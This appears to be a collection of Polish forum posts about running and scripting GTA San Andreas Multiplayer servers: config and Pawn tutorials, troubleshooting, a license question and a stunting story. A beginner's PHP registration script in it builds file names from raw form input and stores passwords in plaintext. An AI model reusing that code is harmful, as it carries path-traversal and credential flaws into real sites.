[GF] Pojazdy dla frakcji.Jak?

Tom_Johnson, wchodzisz w samp debug potem /vsel wybierasz pojazd przebierasz samochody spacją potem ustawiasz go gdzie Ci pasuje i /save potem wchodzisz do folderu z gra gta san andreas i tam jest plik savedpostions i tam jest kod do wklejenia do pawno
więcej tutaj http://www.gtaonline.pl/409.htm

 

Cedega + SAMP - problem

Witam!
Niedawno zainstalowałem Cedegę w wersji 6.02 na Mandriva Linux 2008.1 Spring . Gdy uruchamiam plik SAMP.exe i wybieram serwer a następnie probuje się z nim połączyć to uruchamia mi się GTASA single player :/. Samego pliku gta_sa.exe nie mogę uruchomić, tryb single player działa mi tylko poprzez SAMPA. Co powinienem zrobić, aby samp 0.2.2 dzialał normalnie pod Cedegą a plik gta_sa.exe uruchamia
łł mi GTASA w trybie single player? Poniżej zamieszczam kod, który wyświetla mi sie po próbie uruchomienia gta_sa.exe:

Kod:[kostek@Komp ~]$ cedega /mnt/win_f/Gry/Pełne wersje/GTA San Andreas/GTA San Andreas/gta_sa.exe
/usr/lib/transgaming_cedega/gddb.py:24: RuntimeWarning: Python C API version mismatch for module gddb_parser: This Python has API version 1013, module gddb_parser has version 1012.
  import gddb_parser
wine: Unhandled exception, starting debugger...

Jestem początkującym użytkownikiem Linuxa i proszę o wyrozumiałość :). Szukałem w internecie rozwiazań lecz nic nie znalazłem na ten temat :/.

GTA SAN ANDREAS MULTIPLAYER kody

Witam wszystkich!!!!! Czy ktoś zna stronę z czitami lub programami do gta san andreas multiplayer (SA-MP)???????? Szukałem wielokrotnie w Google - lecz nic nie znalazłem

Serwer

Witam. Posiadam serwer do gry "san andreas multi player" juz od paru dobrych lat. Serwer stał się jednym z lepszych w Polsce. I mam taki problem. Chciałbym móc na nim zarabiać w jakikolwiek sposób lecz licencja Sa-mp (san andreas multi player) na to nie zezwala, praktycznie rzecz biorąc na nic nie zezwala. Nauczyłem się sporo jeżeli chodzi o język programowania Pawn opierający się na tej grze.
Teraz Pytanie brzmi. Jak mogę zarobić legalnie na tym serwerze? Jest jakiś błąd, Luka w tej licencji aby ją obejść i zarobić? Lub inny sposób?
Proszę o pomoc.

Licencja "san andreas multi player":

Kod: Zaznacz cały------------------------------------------------------------------------------------
The SA-MP modification for Grand Theft Auto: San Andreas (r) is a software project
aimed at extending the functionality of the Grand Theft Auto: San Andreas (r)
software for Microsoft Windows (r).
------------------------------------------------------------------------------------

SA-MP CLIENT AND SERVER SOFTWARE LICENSE AGREEMENT

version 1.01 : 19/5/2008

You must agree to all of the terms below to use this software. Violation of these
terms invalidates this license and the copyright holder grants no rights to use
this software.

(a) You must have a valid license to use Grand Theft Auto: San Andreas (tm) PC
in order for this license to be valid.

(b) The software contained herein is provided on an "as-is" basis without
any form of warranty.

(c) This software may not be exploited for personal, financial or
commercial gain.

(d) The author(s) of this software accept no liability for use/misuse of the
software.

(e) The SA-MP software package may not be distributed, sold, rented or
leased without written permission of the software author(s).

(f) You may not create or distribute derivative works of the software or files
contained within the package.

(g) You may not use this software for any illegal purposes.

(h) The author(s) of this software retain the right to modify/revoke this license
at any time under any conditions seen appropriate by the author(s).

(f) Ideas expressed in this software by way of coding or configuration are
property of SA-MP.com.

------------------------------------------------------------------------------------
(c) 2005-2008 SA-MP.com team.

The SA-MP.com team is not affiliated with Rockstar Games, Rockstar North or
Take-Two Interactive Software Inc.

Grand Theft Auto and Grand Theft Auto: San Andreas are registered trademarks of
Take-Two Interactive Software Inc.
------------------------------------------------------------------------------------

 

Stawianie własnego servera pod Windows XP SA-MP 0.2.2

Żeby zrobić własny server należy posiadać:
- GTA: San Andreas
- San Andreas: MultiPlayer ( SA-MP ) 0.2.2v ( do niej akurat jest poradnik )
- Pliki servera
- Troszkę oleju w głowie
- [b]Zewnętrzne IP i najlepiej nie dynamiczne[/b]
- [b]Windows XP[/b] Jest wersja na linux, ale ja mam XPka więc...
- [b]Internet[/b]

TUTAJ jest SA-MP Client 0.2.2, a TUTAJ jest server.
Po ściągnięciu oby dwóch archiwach należy zainstalować SA-MP w folderze z grą San Andreas, a następnie wypakować server np. na pulpicie. Sprawdziwszy czy działa client SA-MP wchodzimy w folder z wypakowywanym server, i otwieramy za pomocą notatnika plik server.cfg. Mamy takie coś:

echo Executing Server Config...
lanmode 0
rcon_password darmowepliki
maxplayers 2
port 7777
hostname DarmowePliki Server
gamemode0 lv74b 1
filterscripts adminspec vactions

query 1
weburl www.darmowepliki.eu
anticheat 0

lanmode - jeśli chcemy aby rozgrywka rozgrywała się w sieci LAN należy ustawić tego wartość na 1.
rconpassword: Czyli hasło rcon, czyli tak jakby hasło admina. Tutaj akurat jest darmowepliki jako hasło, w związku z tym aby się zalogować na administratora na serverze należy wpisać /rcon login darmowepliki.
maxplayers - Czyli ile maksymalnie może grać ludzi na serverze, czyli sloty. Przy łączu 1 MB/s zalecamy 15, a przy 152 KB/s w ogóle nie zakładać
port: Zalecane jest jego zostawione domyślnym chyba, że posiadasz inny port.
hostname - Czyli nazwa servera jaka będzie wyświetlana w zakładce ,,internet" i ,,favorites".
gamemod - Czyli mapa z rozszerzeniem .amx. Powstaje taki format bo skomplikowaniu pliku .pwn mapy czyli jej kodu źródłowego. Zalecane lvdm ileś tam, dostępne gamemody można zobaczyć w folderze GameModes.
filterscripts - Jeśli masz zainstalowane jakieś skrypty, czyli np. AdminX należy tam umieścić nazwę pliki ze skryptem, a dostępne skrypty można zobaczyć w folderze scriptfiles.

query - Tego niestety nie wiem
webrul - Strona servera, w tym przypadku darmowepliki.eu. Nie obowiązkowe
anitcheat - Jeśli AntiCheat ma być włączony należy ustawić jego wartość na 1, jeśli nie to 0.

1 - Tak 0 - Nie. Oczywiście w pewnym sensie

No i zapisujemy konfigurację, i następnie uruchamiamy serwer klikając dwukrotnie na plik samp-server.exe, no i dalej nic nie musimy robić! Wchodzimy na [b]swoje własne[/b] IP, i gitara. Jeśli macie problemy piszcie tutaj

Dynamiczne IP - Jeśli np. masz Neostradę lub netie masz dynamiczne IP, ale są inni dostawcy z Dynamicznym. Dynamicznym to znaczy, że co 24 godziny się zmienia nasz adres IP, lub po ponownym włączeniu sieci/routera.

[b]CDN... By Antharas. Specjalnie dla DarmowePliki.eu[/b]

[PHP] Rejestracja konta w SA:MP

Witam serdecznie. ;)
Na początek chciałem powiedzieć, iż w PHP jestem kompletnie zielony, więc proszę o wyrozumiałość. ;)
Szukając skryptu rejestracji konta do gamemodu The Godfather w GTA: San Andreas Multiplayer znalazłem gotowy kod i trochę go przerobiłem. Oto mój kod:
KODHIHI <?php
/*********************************************
* plik formularz.php
*********************************************/

$imie = trim($_POST['imie']);
$nazwisko = trim($_POST['nazwisko']);
$wiek = trim($_POST['wiek']);
$haslo = trim($_POST['haslo']);
$plec = trim($_POST['plec']);

if(empty($imie) and empty($nazwisko) and empty($wiek) and empty($haslo) and empty($plec)) {

// prosty formularz zawierający dwa pola
echo '<form action="" method="post"><title> Tytuł strony </title><body background="http://i14.tinypic.com/85dkavr.jpg">
<center><br><br><font color="#000000" size="1" face="Verdana"> <b>Imię</b>: </font><input type="text" name="imie" style="width: 200px;" /><br />
<font color="#000000" size="1" face="Verdana"> <b>Nazwisko:</b> </font><input type="text" name="nazwisko" style="width: 200px;" /><br />
<font color="#000000" size="1" face="Verdana"> <b>Wiek:</b> </font><input type="text" name="wiek" style="width: 200px;" /><br />
<font color="#000000" size="1" face="Verdana"> <b>Hasło:</b> </font><input type="password" name="haslo" style="width: 200px;" /><br />
<font color="#000000" size="1" face="Verdana"> <b>Płeć:</b> <input checked type=radio name=plec value=2 />Mężczyzna <input type=radio name=plec value=1 />Kobieta<br />
<input type="submit" value="Zapisz" /><br><br><br><br><b><a href="login.php">Zaloguj się</a></b></font>
</form></center>';
}
else {
$sex='1';
if($plec=='2'){$sex='1';}
if($plec=='1'){$sex='2';}

$postac = "Key=".$haslo."
AdminLevel=0
Sex=".$sex."
Age=".$wiek."
Ban=0";
// przypisanie zmiennej $file nazwy pliku
$file = $imie.'_'.$nazwisko.'.ini';
// uchwyt pliku, otwarcie do dopisania
$fp = fopen($file, "a");
// blokada pliku do zapisu
flock($fp, 2);
// zapisanie danych do pliku
fwrite($fp, $dane);
// odblokowanie pliku
flock($fp, 3);
// zamknięcie pliku
fclose($fp);

echo "Dane zostały zapisane!<br />";
echo "<a href="podglad.php">Zobacz wpisane dane</a>";
}

?> KODHIHIKUNIEC
Już tłumaczę, na czym to ma polegać. W gamemodzie The Godfather rejestruje się konta z nickiem według formatu: Imię_Nazwisko.
I teraz zastanawiam się, jak zrobić logowanie... mój plik login.php wygląda tak:
KODHIHI <?php
/*********************************************
* plik formularz.php
*********************************************/

$imienazwisko = trim($_POST['imie_nazwisko']);
$haslo = trim($_POST['haslo']);

if(empty($imie_nazwisko) and empty($haslo)) {

// prosty formularz zawierający dwa pola
echo '<form action="" method="post">
<input type="text" name="imie_nazwisko" style="width: 200px;" /><br />
<input type="password" name="haslo" style="widht:200px;" /><br />
<input type="submit" value="Zapisz" />
</form>';
}
else {

$tmp   = file('$imie_nazwisko'.ini');
$tmp_c = count($tmp);
$i = 0;

while ($i < $tmp_c) {
    $linia = explode('|', trim($tmp[$i]));

    for($a=0;$a<count($linia);$a++) echo '<br>'.$linia[$a].'<br>';
$i ++;

}

echo "Zalogowałeś się<br />";
}

?> KODHIHIKUNIEC
Pojawia się błąd: Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in (...)login.php on line 25
Wcześniej niby działało, tyle że nie chciał się otworzyć plik z nazwą wpisaną w formularzu (próbował się otworzyć plik o nazwie: $imienazwisko.ini). Czy ktoś wie, co zrobić, aby to działało poprawnie? Proszę o pomoc.

Przykładowy opis, wzorujcie się na nim

Przykładowy formularzyk do opisywania członków, starałem się by był oldskulowy i probowałem przypomnieć sobie wszystkie pytania z dawnego opisu ze strony TNT...

Kod do skopiowania jako podstawa formularza, skopiujcie go sobie to nie będziecie musieli dodawać ręcznie tagów pogrubających pytania.

Kuźwa, nie widać go ale wierzcie mi... on tam jest! Jak zaznaczycie to się pokaże.

Cytat:[b]Aktualny nick:[/b]
[b]Dawne pseudonimy:[/b]
[b]Real world imię:[/b]
[b]Data urodzenia:[/b]
[b]Miasto:[/b]
[b]Zainteresowania:[/b]
[b]Motto:[/b]

[b]GaduGadu:[/b]
[b]Tlen:[/b]
[b]Skype:[/b]
[b]Email:[/b]

[b]Linki:[/b]

[b]Specyfikacja kompa:[/b]

[b]Poza Grand Theft Auto gra w:[/b]

[b]Ranga w TNT:[/b]
[b]Data dołączenia:[/b]
[b]Mody (w których można go spotkać):
[b]Preferowany multi do Vice City:[/b]
[b]Preferowany multi do San Andreas:[/b]
[b]Ulubiona broń w Vice City:[/b]
[b]Ulubiony pojazd w Vice City:[/b]
[b]Ulubiona broń w San Andreas:[/b]
[b]Ulubiony pojazd w San Andreas:[/b]
[b]Ulubiona broń w real world:[/b]
[b]Ulubiony pojazd w real world:[/b]

[b]Krótka historia istnienia na scenie multiplayer GTA:[/b]

[b]Trochę słów od siebie:[/b]



Przykładowe wypełnienie formularza:

Cytat:
Aktualny nick: Madafaker
Dawne pseudonimy: Megastryjek
Real world imię: Gracjan
Data urodzenia: 12.12.1982
Miasto: Gniezno
Zainteresowania: Komiksy
Motto: Byle jak najdalej od kościoła oO

GaduGadu: blabla
Tlen: blabla
Skype: blabla
Email: blabla

Linki:

[b]Specyfikacja kompa:
procesor
ram
grafa
dysk(i)
monitor(y)

Poza Grand Theft Auto gra w:
tytul 1
tytul 2 (jako inny nick)

Ranga w TNT: taka i taka
Data dołączenia: kiedy to bylo
Mody (w których można go spotkać): VCMP SAMP
Preferowany multi do Vice City: MTA
Preferowany multi do San Andreas: SAMP
Ulubiona broń w Vice City: Screwdriver
Ulubiony pojazd w Vice City: Trashmaster
Ulubiona broń w San Andreas: Purple Dildo
Ulubiony pojazd w San Andreas: Club
Ulubiona broń w real world: bazuka
Ulubiony pojazd w real world: WV Golf 2

Krótka historia istnienia na scenie multiplayer GTA:
blablabla

Trochę słów od siebie:
blablabla

Premonition - Stunting Society

To było tak, (pozwolę sobie skopiować z naszej stronki)

Stuntowac zacząłem, gdzieś pod koniec roku 2006, dajmy na to w Grudniu
Moja przygoda zaczęła się tak, że zobaczyłem w telewizji, dokładnie na programie Hyper, pokaz ''stunterski'' w Vice City, bardzo mi się to spodobało, jak to koleś jeździł na tylnim kole przez pół miasta, albo skakał na lotnisku robiąc w locie 360 Stopni, wtedy przylazłem do kolegi i powiedziałem mu o tym, na zmianę sobie graliśmy w VC i skakaliśmy na lotnisku.

Minęło trochę czasu, dostałem swój wymarzony internet, i po jakimś czasie zobaczyłem filmik jakiegoś Black Dragona czy coś, skakał on autami w San Andreas, a mi to się cholernie podobało, i postanowiłem zrobić swój filmik, nie był on nawet na słabym poziomie, ale koledzy i tak mówili, że jest super xP.
Potem już było coraz lepiej, i lepiej, na Epulsie w klubie o GTA, poznałem Kususa i on podał mi stronkę PKS, dołączyłem tam, wtedy był jeszcze Shark, i wszyscy w komplecie. Po jakimś czasie wyszedł Speed Up, zaintrygował mnie i postanowiłem nadal pracować na swoimi produkcjami. Potem już było tylko coraz lepiej, poznałem wspaniałych ludzi jaka jest Ekipa całego PKS, i inni. Dzięki nim mój poziom jest jaki jest, i myślę, że jeszcze się zwiększy chociaż trochę xD.

Po 1 . Stunterzy używają GTA:SA Crazy Trainer +151, lub Ultimate Stunters Main SCM.

Nie można używać modów typu "klei się do siedzenia" bo to już jest cheat który wspomaga nam w locie, samym stuncie. Nie można zmieniać grawitacji ani przyśpieszać sobie kodami w locie i inne.
Jedyne kody jakie są dopuszczalne to : nieśmiertelność pojazdu oraz postaci, jeżeli coś nie wyjdzie wczytujemy pozycję specjalnym właśnie do tego stworzonym Ultimate Main SCM *of kors na początku ją zapisujemy*, albo GTASA Trainerem (ja go używam). Kody jakie się też używa to brak pojazdów na drodze (choć on wcale nie eliminuje wszystkich, ale większość, Ultimate main usuwa all), ładna pogoda...

Dla tego stunting musi być czysty, nie używa się ŻADNYCH wspomagaczy, bo to już cheatowanie.

Wszyskiego uczyłem się stopniowo, np zastanawia Was pewnie dla czego nie jeździmy normalnie tylko na tylnim kole, to RAD"S method, odpowiednie jeżdżenie na nim (trzeba się nauczyć) zwiększa naszą prędkość o połowę.

dużą rolę odgrywa też wyłączenie frame limitera (limiter FPS), jeżeli mamy około 40FPS stuntuje się lżej...
Oczywiście nie myślcie że jak macie 300 to jesteście bogami, bo to już wielkiej różnicy nie ma.

jeszcze jakieś pytania ?. Możemy się zmówić na partyjke w SA:MP, pokaże Wam kilka "skoków" . Jeżeli macie to piszcie tu

Ahh, i jeszcze coś : po wykonanym stuncie zapisujem replay (f2) i odtwarza się go przyciskając f3. Taki replay znajduje się w moich dokumentach w san andreas user files, żeby ktoś go odtworzył wysyłamy mu go . Nagrywami z nich frapsem.

P.s sry za błędy w 1 "opowieści" ale pisałem to z ponad pół roku temu i jeszcze na interpunkcji jak widać się zbytnio nie znałem xD

add : Stunty czasami potrafię próbować kilkaset razy, nie liczę ale 1 stunt b. trudny może zająć nawet pół tysiąca prób...

Podstawy Pawno

Po pierwsze: Co to jest Pawno? Pawno to język programowania używany w Grand Thef Auto: San Andreas: MultiPlayer. Nie jest on językiem znanym, ale za to bardzo łatwym. Jedyne co jest potrzebne to średnia znajomość języka angielskiego, i troszkę rozumu, no i oczywiście umieć obsługiwać komputer. Program C++ powinien z łatwością opanować ten język. Zatem, przyjedźmy do rzeczy:

Witam w poradniku do robienia map w PAWNO do SA-MP!!!
Myślę że sie wam podoba? Więc nie przedłużając bierzcie się do czytania

Oto linki w których jest wszystko tzn.:
-4 programy do edytowania map _ SA-MP Script Maker
-Program do robienia kolorów
-SA-MP 0.1b server + Client + Fix
-Dwa programy do patrzenia na bieżąco: Ludzi, pojazdów i broni wraz z ich ID
-Mapy na których jes tworzony ten poradnik(jest tam też sftdm i lvdm)
-Pliki includes do programu Pawno
-Inne-tzn. Id pojazdów, kolory, itp. itd.
Prawie w każdym folderze jest opis danego programu.
Po prostu jest tam wszystko czego programista zapragnie

http://www.sendspace.com/file/bdbkh5
http://ultrashare.net/hosting/fl/216ba5f0d9/
Są tam najpotrzebniejsze rzeczy. Polecam do ściągania.

Poradnik do Pawno:
Poradnik jest tworzony na mapie lvdmod.pwn
1. samp_debug.exe
Program którym możemy dodawać pojazdy i skiny. Jest on w folderze z grą GTA: SA. O ile mamy zainstalowane SA-MP
Uruchamiamy samp_debug.exe i klikamy na Launch Debug. Oto komendy których możemy użyć:
Wciskamy tylde [~] lub [T] i piszemy:
/save (nie obowiązkowo komentarz) - zapisuje: id postaci, współrzędne x,y,z, obrót postaci,bronie
/vsel - załącza wybór pojazdów
/v (id pojazdu) - spawnuje pojazd o podanym id
/interior - dowiesz sie jaki id ma interior w którym jesteś (0 jest na zewnątrz, dwór)
F11 i F12 - wybór postaci
Koordy - czyli współrzędne które zapisywaliśmy w samp_debug.exe są w pliku: savedpositions.txt w folderze z grą
GTA: SA. Gdy chcemy dodać to co zapisaliśmy kopiujemy wybraną linijke i wklejamy do kodu źródłowego mapki.

ID pojazdów, kolory oraz ID skinów macie w linku który podałem wyrzej.

Oto jak dodawać skiny:
Mamy przykładowo takie coś. Zapisało nam się to w pliku: savedpositions.txt
I o co w tym chodzi? Oznacze wszystko poszczególnymi kolorami:

AddPlayerClass(0,1958.3783,1343.1572,15.3746,269.1425,0,0,0,0,0,0);

AddPlayerClass(ID Skinu,X,Y,Z,A,Broń1 0,Amunicja1 0,Broń2 0,

Amunicja2 0,Broń3 0,Amunicja3 0);

AddPlayerClass(102,1958.3783,1343.1572,15.3746

,269.1425,5,0,22,100,32,50);

Czerwony- ID gracza/skinu
Zielony-Współrzędne X Y Z
Brązowy-Kamera, obrót gracza -z ang. Angle
Fioletowy-ID broni
Niebieski-Amunicja

Teraz czas na pojazdy:
Mamy takie coś też w pliku: savedpositions.txt

AddStaticVehicle(0,2040.2279,1344.4127,10.6719,3.5436,0,0);

AddStaticVehicle(ID pojazdu,X,Y,Z,A,Kolor1,Kolor2);

AddStaticVehicle(411,2040.2279,1344.4127,10.6719,3.5436,126,54);

Czerwony-ID pojazdu
Zielony-Współrzędne X Y Z gdzie pojazd ma się znajdować
Brązowy-Kamera, obrót samochodu - z ang. Angle
Fioletowy-Kolor pierwszy pojazdu
Niebieski-Kolor drugi pojazdu

Jak dodać Pickupa? Czyli np. kamizelke na mapie albo broń??
Zapisujem współrzędne przez sam_debug.exe tam gdzie chcemy mieć nasz
przedmiot. Możemy być w aucie lub na nogach i dajem: /save opis
Otwieramy plik: savedpositions.txt i szukamy naszj zapisanej współrzędnej.
Zapisaliśmy np. współrzędną będać w pojeździe. Wygląda ona tak:

AddStaticVehicle(411,1710.3359,1614.3585,10.1191,3.5436,126,54);

Co z tym zrobić? Musimy Napisać tak:

AddStaticPiskup( );

Kopiujemy współrzędne zaznaczone na zielono: 1710.3359,1614.3585,10.1191 do:

AddStaticPiskup(1710.3359,1614.3585,10.1191);

Teraz aby dodać pickupa musimy dodać jego ID (czyli np. broni albo JetPacka):
W tym celu dopisujemy przed współrzędnymi dwie cyfry: 370, ">2,
I w całości to wygląda tak:

AddStaticPiskup(370, ">2,1710.3359,1614.3585,10.1191); //JetPack

Czerwony- ID pickupa lub broni 370-jest to pick up JetPacka
">Pomarańczowy- typ respawnu

Oto kilka typów respawnu pickupów:
0- nie pokazuje pickupa
2- respawn pickupa co kilka minut
3- jest cały czas. Żaden respawn

I gdzie to wkleić?? Ano otwieramy plik: lvdm.pwn
i na dole mapy jest nowy wątek:
public OnGameModeInit()
a niżej są umieszczone Skiny i Pojazdy. Aby dodać swoje skiny lub pojazdy usuwamy je i dodajemy nowe.
Pamiętaj!!! Możesz wstawić tylko 50 modeli pojazdów i 250 wszystkich!!! Inaczej server się nie włączy!!!
Z pickupami postępujemy tak samo. Tylko dodajemy je lepiej pod pojazdami. Pickupy nie liczą się do modeli
pojazdów więc możemy ich dodać ile chcemy.

2. Jak zrobić żeby gracz miał więcej kasy na początku:

Otwieramy plik: lvdm.pwn i szukamy linijki: #define PocketMoney 50000
Jest ona na początku kodu źródłowego mapki. Liczba zaznaczona na czerwono jest liczbą pieniędzy
jaką gracz będzie dysponował na początku rozgrywki.

3. Jak zmienić nazwe mapy?? By w zakładce ,,Mode" pisało inaczej??
Otwieramy plik lvdm.pwn i szukamy na dole wątku: public OnGameModeInit()
Poniżej mamy takie coś: SetGameModeText("Ventura's DM~MG");
Zmieniamy to co jest zaznaczone na zielono. Pamiętaj że możesz zmieniać tekst
tylko w cudzysłowiach!!! Zaznaczonych tu na czerwono. Zapamiętaj to.

4.Jak dodać nowy kolor??
Otwieramy plik: lvdm.pwn i na samym początku są zdefiniowane kolory. Przykład: #define COLOR_GREY 0xAFAFAFAA
Następnie otwieramy plik: PAWNO - RGB to HEX.exe szukamy sobie nowy kolor. I definiujemy nową nazwe np.:
#define COLOR_LIGHTGREEN 0x18FE12FF

5. Tworzenie własnego markera i strefy. Czyli czerwonego kółka:
Aby zrobić współrzędne najlepiej zaopatrzyć się w program San Andreas Place Manage lub robić to przez samp_debug.exe
Gdy to już mamy przystępujemy do pracy:

AddPlayerClass(281,491.5403,-10.1736,1000.6797,205.3798,0,0,0,0,0,0); // coord 1
AddPlayerClass(281,491.7465,-17.6610,1000.6797,182.2477,0,0,0,0,0,0); // coord 2
AddPlayerClass(281,483.8130,-18.0149,1000.6797,95.8099,0,0,0,0,0,0); // coord 3
AddPlayerClass(281,483.9237,-10.1626,1000.6797,357.7577,0,0,0,0,0,0); // coord 4
3----4
| ">B | -droga robienia współrzędnych
2----1
AddPlayerClass(281, ">487.0723,- ">13.4085, ">1000.6797,220.7422,0,0,0,0,0,0); // coord ">buy

AddPlayerClass(281,491.5403,-10.1736,1000.6797,205.3798,0,0,0,0,0,0);
(ID gracza, X , Y , Z , A , bronie ID)

Potrzebujesz współrzędnych X i Y bierzesz:
najniższy X "483.8130"
wtedy najniższy Y "-18.0149" (Jest to liczba ujemna i dlatego jest najmniejsza)
Najwyższy X "491.7465"
Najwyższy Y "-10.1626"

Teraz masz tak: {483.8130,-18.0149, 491.7465,-10.1626} - to są współrzędne checkCoords - Strefy w której będzie znajdował się marker: ( new Float:checkCoords[MAX_POINTS][4] = { )

Aby mieć współrzędne ,,checkpoints" przepisujesz współrzędne: { ">487.0723, ">-13.4085, ">1000.6797} - to są współrzędne
z tej linijki: ( new Float:checkpoints[MAX_POINTS][3] = { ) - są to współrzędne w którym będzie znajdował się marker(czyli to czerwone kólko, cylinder w które trzeba wejść )

Tutaj macie link do obrazka jak to wygląda:

Kopiujemy potrzebne dane które utworzyliśmy i wklejamy do kodu źródłowego naszej mapki.
Kompilujemy skrypt i włączamy naszą mapke. Gdy pojedziemy do naszego miejsca zobaczymy
czerwone kółko. Oto nasz marker którego stworzyliśmy sami!

Thx dla 50p :wink:

6. Aby wszystko nam ładnie i pięknie chodziło... zapisujemy nasz projekt a potem musimy go skompilować czyli dajemy na compile.
Skompilowany plik .amx zostanie utworzony tam gdzie edytowaliśmy plik .pwn Czyli naszym przykładem był plik: lvdmod.pwn i
skompilowaliśmy go do formatu lvdmod.amx
7.Tworzymy własną wybierałkę gracza/playera =
Chodzi o własnego gracza którym będziemy grali i o to w jaki sposób będzie
to pokazane. Oto link do zdjęcia:

Szukamy tego:

public SetupPlayerForClassSelection(playerid)
{
SetPlayerInterior(playerid,0);
SetPlayerPos(playerid,2097.502,1158.271,24.5625);
SetPlayerFacingAngle(playerid, 70.0);
SetPlayerCameraPos(playerid,2094.7,1158.271,24.5625);
SetPlayerCameraLookAt(playerid,2094.7,1158.271,24.5625);
}
Zielony- tu jest interior (0- jest na zewnątrz, dwór)
Niebieski - tu jest miejsce gdzie będą stały postacie na początku jak się wybiera
Fioletowy - tutaj jest kąt pod jakim można obrócić skina
Brązowy - tutaj jest miejsce w którym została umieszczona kamera
Błękitny - a tutaj jest miejsce z którego kamera patrzy na skina

P.S. To są moje współrzędne które sam zrobiłem. Są wzięte z mapy która jest na n2.
Współrzędne można wziąć z samp_debug.exe lub przez San Andreas Place Manager.
Wygodny jest ten drugi sposób bo można to robić latająć JetPackiem i wtedy jest łatwiej.
Ale jak kto woli. Gdy robimy współrzędne za pomocą samp_debug.exe wyciągamy współrzędne z tąd:
AddStaticVehicle(521,2000.8287,1527.6210,14.1892,1.3089,36,0);
AddPlayerClass(0,2292.7839,2452.5076,10.8203,89.9717,0,0,0,0,0,0);
Pamiętajmy że robiąć współrzędne przez San Andreas Place Manager będziemy musieli pozmieniać
przecinki jak kopiujemy współrzędne.
Aha i pamiętajcie że kamera ZAWSZE Będzie zwrócona w kierunku: N, S, W, lub E!!! Północ, Południe, Wschód, Zachód!!!

A tu jest opisane jak to mniej więcej wygląda:

public OnPlayerRequestClass(playerid, classid)

{
SetPlayerInterior(playerid,interior); - interior można wziąść z samp_debug.exe
SetPlayerPos(playerid, x, y, z);
SetPlayerFacingAngle(playerid, a); - kąt w przediale od 1-360 stopni
SetPlayerCameraPos(playerid, x, y, z);
SetPlayerCameraLookAt(playerid, x, y, z lub x ??);
}

Chyba pomogłem? Jak czegoś nie wiecie to się pytać.
Aha. Na początku lepiej aby SetPlayerCameraPos i SetPlayerCameraLookAt były takie same.
Później łatwiej wam będzie zrobić własną wybierałke playera. W linku jest obrazek, który mniej więcej wyjaśnia o co w tym chodzi... Link do zdjęcia: http://www.fotosik.pl/pok...68cfe63a8d.html

8. Dodawanie muzyki w tle podczas wybierania gracza/playera
Aby dodać muzyczke trzeba znaleźć to:
public SetupPlayerForClassSelection(playerid)
{
SetPlayerInterior(playerid,14);
SetPlayerPos(playerid,258.4893,-41.4008,1002.0234);
SetPlayerFacingAngle(playerid, 270.0);
SetPlayerCameraPos(playerid,256.0815,-43.0475,1004.0234);
SetPlayerCameraLookAt(playerid,258.4893,-41.4008,1002.0234);
PlayerPlaySound(playerid,1159,258.4893,-41.4008,1002.0234);
}

Kolor zielony - weź stąd współrzędne: SetPlayerPos(playerid,258.4893,-41.4008,1002.0234);
i wklej do: PlayerPlaySound(playerid,1159,2097.502,1158.271,24.5625);
ID muzyki i inne są w pliku do pobrania który zamieściłem. Waży 16 MB
Aha, i jak jest interior 0 czyli na dworze to muzyka będzie grać chyba przez
cały czas gry więc odradzam dodawanie muzyki gdy interior jest zerowy.

9.Dodajemy własne posiadłości:
Zaczynamy od wybrania miejsca, w którym gracze będą mogli kupić nową posiadłość.
Następnie musimy utworzyć strefę i markera – czyli czerwone kółko, cylinder. Jest to opisane w punkcie: 5
Bierzemy się do roboty…
Szukamy na początku kodu mapki zdefiniowane posiadłości:
Wygląda to tak: #define CP_NAZWA NR.
I na samym dole dodajemy nową definicje:

#define CP_STARFISH 11

STARFISH – jest to nasza nazwa, jaka będzie występowała w kodzie źródłowym
11 – a jedenaście jest to liczba porządkowa przydzielana po kolei, czyli np. 1, 2, 3, 4, itd.

Następnie niżej szukamy podobnych definicji i na samym dole dodajemy:

#define P_STARFISH 8

STARFISH - jest to nasza nazwa, jaka będzie występowała w kodzie źródłowym musi się zgadzać z wyrzej wymienioną zdefiniowaną wartością
8 – jest to numer porządkowy przydzielany kolejno np. 1, 2, 3, 4, 5, itd.

Szukamy kolejnego wyrazu. Tym razem jest to:
#define MAX_POINTS 11
11- oznacza maksymalną liczbę posiadłości. Zmieniamy ją na:
#define MAX_POINTS 12
12 – ponieważ chcemy dodać jedną posiadłość

Zaraz pod: #define MAX_POINTS 12 jest linijka:
new Float:checkCoords[MAX_POINTS][4] = {
{2100.6367,1841.2338, 2352.1677,2014.0052} //komentarz nieobowiązkowy
};

To co jest pogrubione na czarno jest to rozmiar strefy w której będzie znajdował się marker.
Współrzędne strefy bierzemy z samp_debug.exe Jak zrobić strefę dowiemy się z punktu: 5
Aha nie zapomnijmy o dodanie wyżej przecinka!!! Wyglądać będzie to w moim przypadku tak:
{416.7485,-84.4242, 422.6890,-74.0611}, //BOTIQUE Tu jest przecinek po nawiasie
{2100.6367,1841.2338, 2352.1677,2014.0052} //STARFISH A tutaj nie ma
W ostatniej linijce nie dajemy nigdy przecinka po nawiasie!!!

Przechodzimy niżej. Mamy tam linijkę:
new Float:checkpoints[MAX_POINTS][3] = {
{2163.3354,1904.5193,10.8125} //komentarz nie obowiązkowy

To co pogrubiłem na czarno są to współrzędne w którym będzie znajdował się nasz marker.
Współrzędne bierzemy z samp_debug.exe Jak zrobić współrzędne dowiemy się w punkcie: 5
Aha i tutaj także pamiętajmy o przecinku:
{418.5547,-80.1667,1001.8047}, //BOTIQUE tutaj za nawiasem jest przecinek
{2163.3354,1904.5193,10.8125} //STARFISH a tutaj nie ma
};

Pamiętajmy że tutaj także nie dajemy nigdy na końcu ostatniej współrzędnej przecinka!!!

Kolejny etap to dodanie nazwy w linijce:
new checkpointType[MAX_POINTS] = {
CP_STARFISH
STARFISH - jest to nazwa którą zdefiniowaliśmy wcześniej i musi być wszędzie taka sama

Aha i przecinki…
CP_BOTIQUE, - tutaj jest
CP_STARFISH - tutaj na końcu nie ma
};

Jedziemy dalej
Mamy teraz linijke:
#define MAX_PROPERTIES 8
8 - jest to liczba określająca ile budynków możemy dodać
Zmieniamy ją na 9 :
#define MAX_PROPERTIES 9
Ponieważ chcemy dodać nową posiadłość

Poniżej linijki: #define MAX_PROPERTIES 9
Mamy coś co jest najprostsze. Musimy ustalić nazwę posiadłość, cenę i kwotę jaką dany gracz będzie otrzymywać po kupnie budynku.
Mamy tak:
new propertyNames[MAX_PROPERTIES][32] = {
"Nazwa naszej posiadłości"

Wygląda to tak:
"Botique", pamiętajmy o przecinkach!! Tutaj jest
